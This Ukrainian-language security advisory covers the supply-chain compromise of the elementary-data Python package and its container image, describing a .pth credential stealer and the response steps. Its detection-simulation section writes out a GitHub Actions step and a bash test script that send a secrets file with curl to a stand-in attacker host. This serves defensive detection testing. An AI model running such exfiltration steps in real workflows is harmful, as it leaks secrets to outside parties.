SOC Prime Bias: Критичний

29 Apr 2026 14:42 UTC

Elementary-data скомпрометовано на PyPI та GHCR через підроблений реліз на GitHub

Author Photo
SOC Prime Team linkedin icon Стежити
Elementary-data скомпрометовано на PyPI та GHCR через підроблений реліз на GitHub
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Зловмисна версія elementary-data Python пакет, версія 0.23.3, була завантажена на PyPI, а відповідний скомпрометований контейнерний образ також було завантажено до реєстру GitHub Container. Зловмисник вставив зловмисний код в GitHub Actions workflow, підробив підписаний реліз, і потім використав токен робочого процесу для публікації бекдорних артефактів. Навантаження функціонувало як трьохетапний злодій облікових даних, розроблений для збору секретів і їх відправки на домен під контролем зловмисника. Будь-яке середовище, що встановлювало уражений пакет або витягало останній контейнерний образ, було під загрозою компрометації.

Розслідування

Розслідування показало, що атака почалася з коментаря до відкритого запиту на злиття, який був вставлений безпосередньо в сценарій робочого процесу, що дозволило виконати вприскування сценарію. Використовуючи GITHUB_TOKEN, зловмисник створив підроблений релізний фіксування і запустив процес публікації, який потім розповсюдив троянське колесо та образ Docker. Аналіз показав, що зловмисний .pth файл декодував обгортку Base64, дешифрував кінцевий компонент збору і збирав широкий набір облікових даних, перш ніж відправити їх на спеціальний домен командного управління через curl.

Захист

Розробники проекту видалили зловмисну версію пакету з PyPI та видалили скомпрометований образ з GHCR перед публікацією чистої заміни, версія 0.23.4. StepSecurity додав зловмисну версію пакету та домен під контролем зловмисника до чорного списку Harden-Runner і заблокував пакет під час виконання запитів на витяг. Розробники повинні використовувати фіксовані версії пакетів та дайджести образів, уникати полагання на плаваючі теги та перевіряти встановлені залежності на наявність неочікуваних .pth файлів.

Відповідь

Захисники повинні шукати наявність elementary.pth всередині site-packages і виявляти системи, які витягнули підозрілий дайджест образу Docker. Вихідні з’єднання до відомого домену командного управління повинні бути негайно заблоковані. Команди безпеки повинні сканувати робочі станції розробників та середовища побудови на наявність відкрити секретні матеріали, видалити будь-які скомпрометовані пакети та перевипустити уражені облікові дані. CI/CD конвеєри також повинні бути оновлені для перевірки походження пакету та впровадження суворої прив’язки образів.

Потік атаки

## Виконання симуляції

Передумова: Перевірка телеметрії та базової лінії повинна була пройти.

Обґрунтування: У цьому розділі детально розглядається точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та наративи безпосередньо відображають визначені TTP і спрямовані на створення саме тієї телеметрії, яка очікується логікою виявлення.

  • Опис атаки та команди:
    Зловмисник скомпрометував репозиторій, що використовує GitHub Actions для CI/CD. Вони додають зловмисний крок у файл робочого процесу:

    - name: Exfiltrate data
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Коли робочий процес запускається на виконавці GitHub Actions, дерево процесів виглядає так:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (батьківський процес)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (дочірній процес)

    The auditd запис для кроку 2 містить командний рядок з обома bash and curl --data-binary, задовольняючи умову Sigma.

  • Скрипт регресійного тестування:

    #!/usr/bin/env bash
    #
    # Імітуйте зловмисний крок в GitHub Actions, який має активувати правило виявлення.
    # Створює тимчасовий файл, записує дані-муляж, а потім ексфільтрує їх за допомогою curl, обернутого в bash.
    
    set -euo pipefail
    
    # 1. Створити дані-муляж секретних даних
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "sensitive_information_$(date +%s)" > "$tmpfile"
    
    # 2. Виконати ексфільтрацію за допомогою вразливого шаблону
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Вивести підтвердження для тестувальника
    echo "Ексфільтрацію зловмисника імітовано; тимчасовий файл $tmpfile повинен бути видалений очищенням."
  • Команди очищення:

    #!/usr/bin/env bash
    # Видалити будь-які тимчасові файли, створені під час симуляції
    rm -f /tmp/secret_data.*
    
    # За необхідності зупинити будь-які залишкові процеси curl (не має бути потрібно)
    pkill -f "curl --data-binary" || true